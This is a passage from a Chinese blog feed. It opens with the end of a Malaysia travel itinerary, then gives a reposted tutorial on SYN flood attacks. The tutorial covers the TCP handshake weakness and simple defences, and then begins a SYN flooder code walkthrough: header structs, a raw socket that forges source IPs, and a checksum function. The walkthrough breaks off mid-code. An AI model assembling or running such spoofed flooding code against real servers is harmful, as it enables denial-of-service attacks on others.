&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 17:00 完成LGK 半天游,去吃晚饭.Pantai Chenang(珍南沙滩) 灯笼海鲜/真浪花<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 晚上去吃[虎虾]类海鲜(需要查找下有哪些店是好吃的)<br />
<br />
<strong>第三天 2010-12-12 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在兰卡威</strong>,参加潜水活动<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 17:00 完成LGK 半天游,去吃晚饭.暂时没选到.<br />
<br />
<strong>第四天 2010-12-13 </strong><br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 13:25-14:30&nbsp; 兰卡威-吉隆坡 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在one U 顺便购买,明天上geting 的车票<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 回我宿舍，顺便去下黑风洞batu Caves (黑风洞)(gua galeri)<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 游览完 batu Caves 后,我们顺便吃肉骨茶,之后就可以去KL 最繁华的bukit bindang走走;再去KLCC看夜景<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; [这天行程有点儿赶,可能会取消batu Caves的游览]<br />
<br />
<strong>第五天 2010-12-14 吉隆坡一天</strong><br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 上云顶 可以玩足一天<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一下车,就购买当天晚下Genting 的车票,再坐缆车上云顶.<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 晚上下来,去mid valley 的madam kwan吃椰浆饭<br />
<br />
<br />
<strong>第六天 2010-12-15 吉隆坡-广州</strong><br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 上午自由活动 : 在One U ,可以去买手信和购物.<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; 12:30 坐车到机场,上机回广州.(可以在免税区看看有咩岩的商品)<br />
<br />
<br />
<img src ="http://www.blogjava.net/ljf-tianyi/aggbug/339451.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/ljf-tianyi/" target="_blank">天一</a> 2010-11-30 23:00 <a href="http://www.blogjava.net/ljf-tianyi/archive/2010/11/30/339451.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>【转】SYN 攻击讲解</title><link>http://www.blogjava.net/ljf-tianyi/archive/2009/09/18/295534.html</link><dc:creator>天一</dc:creator><author>天一</author><pubDate>Fri, 18 Sep 2009 01:58:00 GMT</pubDate><guid>http://www.blogjava.net/ljf-tianyi/archive/2009/09/18/295534.html</guid><wfw:comment>http://www.blogjava.net/ljf-tianyi/comments/295534.html</wfw:comment><comments>http://www.blogjava.net/ljf-tianyi/archive/2009/09/18/295534.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/ljf-tianyi/comments/commentRss/295534.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/ljf-tianyi/services/trackbacks/295534.html</trackback:ping><description><![CDATA[&nbsp;（1）SYN Flood<br />
&nbsp;&nbsp;&nbsp; 第一部分 SYN Flood的基本原理 <br />
&nbsp;&nbsp;&nbsp; SYN Flood是当前最流行的DoS（拒绝服务攻击）与DDoS（分布式拒绝服务攻击）的方式之一，这是一种利用TCP协议缺陷，发送大量伪造的TCP连接请求，从而使得被攻击方资源耗尽（CPU满负荷或内存不足）的攻击方式。要明白这种攻击的基本原理，还是要从TCP连接建立的过程开始说起：大家都知道，TCP与UDP不同，它是基于连接的，也就是说：为了在服务端和客户端之间传送TCP数据，必须先建立一个虚拟电路，也就是TCP连接，建立TCP连接的标准过程是这样的：<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 首先，请求端（客户端）发送一个包含SYN标志的TCP报文，SYN即同步（Synchronize），同步报文会指明客户端使用的端口以及TCP连接的初始序号；<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 第二步，服务器在收到客户端的SYN报文后，将返回一个SYN+ACK的报文，表示客户端的请求被接受，同时TCP序号被加一，ACK即确认（Acknowledgement）。<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 第三步，客户端也返回一个确认报文ACK给服务器端，同样TCP序列号被加一，到此一个TCP连接完成。以上的连接过程在TCP协议中被称为三次握手（Three-way Handshake）。问题就出在TCP连接的三次握手中，假设一个用户向服务器发送了SYN报文后突然死机或掉线，那么服务器在发出SYN+ACK应答报文后是无法收到客户端的ACK报文的（第三次握手无法完成），这种情况下服务器端一般会重试（再次发送SYN+ACK给客户端）并等待一段时间后丢弃这个未完成的连接，这段时间的长度我们称为SYN Timeout，一般来说这个时间是分钟的数量级（大约为30秒-2分钟）；一个用户出现异常导致服务器的一个线程等待1分钟并不是什么很大的问题，但如果有一个恶意的攻击者大量模拟这种情况，服务器端将为了维护一个非常大的半连接列表而消耗非常多的资源----数以万计的半连接，即使是简单的保存并遍历也会消耗非常多的CPU时间和内存，何况还要不断对这个列表中的IP进行SYN+ACK的重试。实际上如果服务器的TCP/IP栈不够强大，最后的结果往往是堆栈溢出崩溃---即使服务器端的系统足够强大，服务器端也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求（毕竟客户端的正常请求比率非常之小），此时从正常客户的角度看来，服务器失去响应，这种情况我们称作：服务器端受到了SYN Flood攻击（SYN洪水攻击）。<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 从防御角度来说，有几种简单的解决方法:<br />
&nbsp;&nbsp;&nbsp; 第一种是缩短SYN Timeout时间，由于SYN Flood攻击的效果取决于服务器上保持的SYN半连接数，这个值=SYN攻击的频度 x&nbsp; SYN Timeout，所以通过缩短从接收到SYN报文到确定这个报文无效并丢弃改连接的时间，例如设置为20秒以下（过低的SYN Timeout设置可能会影响客户的正常访问），可以成倍的降低服务器的负荷。<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 第二种方法是设置SYN Cookie，就是给每一个请求连接的IP地址分配一个Cookie，如果短时间内连续受到某个IP的重复SYN报文，就认定是受到了攻击，以后从这个IP地址来的包会被一概丢弃。<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 可是上述的两种方法只能对付比较原始的SYN Flood攻击，缩短SYN Timeout时间仅在对方攻击频度不高的情况下生效，SYN Cookie更依赖于对方使用真实的IP地址，如果攻击者以数万/秒的速度发送SYN报文，同时利用SOCK_RAW随机改写IP报文中的源地址，以上的方法将毫无用武之地。<br />
<br />
&nbsp;&nbsp;&nbsp; 第二部份 SYN Flooder源码解读 <br />
&nbsp;&nbsp;&nbsp; 下面我们来分析SYN Flooder的程序实现。首先，我们来看一下TCP报文的格式：<br />
&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6<br />
<br />
&nbsp;&nbsp;&nbsp; 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4<br />
<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
<br />
&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ＩＰ首部&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp; ＴＣＰ首部&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp; ＴＣＰ数据段　　&nbsp;&nbsp; |<br />
<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 图一 TCP报文结构<br />
&nbsp;&nbsp;&nbsp; 如上图所示，一个TCP报文由三个部分构成：20字节的IP首部、20字节的TCP首部与不定长的数据段，（实际操作时可能会有可选的IP选项，这种情况下TCP首部向后顺延）由于我们只是发送一个SYN信号，并不传递任何数据，所以TCP数据段为空。TCP首部的数据结构为：<br />
<br />
&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3&nbsp; <br />
&nbsp;&nbsp;&nbsp; 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
<br />
&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 十六位源端口号&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 十六位目标端口号&nbsp;&nbsp;&nbsp; |<br />
<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
<br />
&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 三十二位序列号&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
<br />
&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 三十二位确认号&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
<br />
&nbsp;&nbsp;&nbsp; | 四位&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |U|A|P|R|S|F|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
<br />
&nbsp;&nbsp;&nbsp; | 首部&nbsp; |六位保留位 |R|C|S|S|Y|I|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 十六位窗口大小&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
<br />
&nbsp;&nbsp;&nbsp; | 长度&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |G|K|H|T|N|N|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
<br />
&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 十六位校验和&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 十六位紧急指针&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
<br />
&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 选项（若有）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
<br />
&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 数据（若有）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
&nbsp;&nbsp;&nbsp; 图二&nbsp; TCP首部结构<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 根据TCP报文格式，我们定义一个结构TCP_HEADER用来存放TCP首部：<br />
&nbsp;&nbsp;&nbsp; typedef struct _tcphdr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; USHORT th_sport;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位源端口<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; USHORT th_dport;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位目的端口<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned int th_seq;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //32位序列号<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned int th_ack;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //32位确认号<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned char th_lenres;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //4位首部长度+6位保留字中的4位<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned char th_flag;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //2 位保留字+6位标志位<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; USHORT th_win;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位窗口大小<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; USHORT th_sum;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位校验和<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; USHORT th_urp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位紧急数据偏移量<br />
&nbsp;&nbsp;&nbsp; }TCP_HEADER;<br />
&nbsp;&nbsp;&nbsp; 通过以正确的数据填充这个结构并将TCP_HEADER.th_flag赋值为2（二进制的00000010）我们能制造一个SYN的TCP报文，通过大量发送这个报文可以实现SYN Flood的效果。但是为了进行IP欺骗从而隐藏自己，也为了躲避服务器的SYN Cookie检查，还需要直接对IP首部进行操作：<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3&nbsp; <br />
&nbsp;&nbsp;&nbsp; 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
&nbsp;&nbsp;&nbsp; | 版本&nbsp; | 长度&nbsp; | 八位服务类型&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 十六位总长度&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 十六位标识&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; | 标志|&nbsp;&nbsp; 十三位片偏移　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
&nbsp;&nbsp;&nbsp; | 八位生存时间&nbsp; |&nbsp;&nbsp; 八位协议&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 十六位首部校验和&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 三十二位源ＩＰ地址&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 　&nbsp;&nbsp;&nbsp; |<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 三十二位目的ＩＰ地址&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 选项（若有）&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
&nbsp;&nbsp;&nbsp; |&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 　　数据　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; |<br />
&nbsp;&nbsp;&nbsp; +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 图三&nbsp; IP首部结构<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; 同样定义一个IP_HEADER来存放IP首部<br />
&nbsp;&nbsp;&nbsp; typedef struct _iphdr<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned char h_verlen;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //4 位首部长度+4位IP版本号<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned char tos;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //8位服务类型TOS<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned short total_len;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位总长度（字节）<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned short ident;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16 位标识<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned short frag_and_flags;&nbsp; //3位标志位<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned char&nbsp; ttl;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //8 位生存时间 TTL<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned char proto;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //8位协议号(TCP, UDP 或其他)<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned short checksum;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //16位IP首部校验和<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned int sourceIP;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //32 位源IP地址<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned int destIP;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //32位目的IP地址<br />
&nbsp;&nbsp;&nbsp; }IP_HEADER;<br />
&nbsp;&nbsp;&nbsp; 然后通过SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));建立一个原始套接口，由于我们的IP源地址是伪造的，所以不能指望系统帮我们计算IP校验和，我们得在在setsockopt中设置IP_HDRINCL告诉系统自己填充IP首部并自己计算校验和：<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; flag=TRUE;<br />
&nbsp;&nbsp;&nbsp; setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&amp;flag,sizeof(int));<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; IP校验和的计算方法是：首先将IP首部的校验和字段设为0（IP_HEADER.checksum=0）,然后计算整个IP首部（包括选项）的二进制反码的和，一个标准的校验和函数如下所示：<br />
&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp; USHORT checksum(USHORT *buffer, int size)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; unsigned long cksum=0;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; while(size &gt;1) {<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; cksum+=*buffer++;<br />
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; size -=sizeof(USHORT);<br />
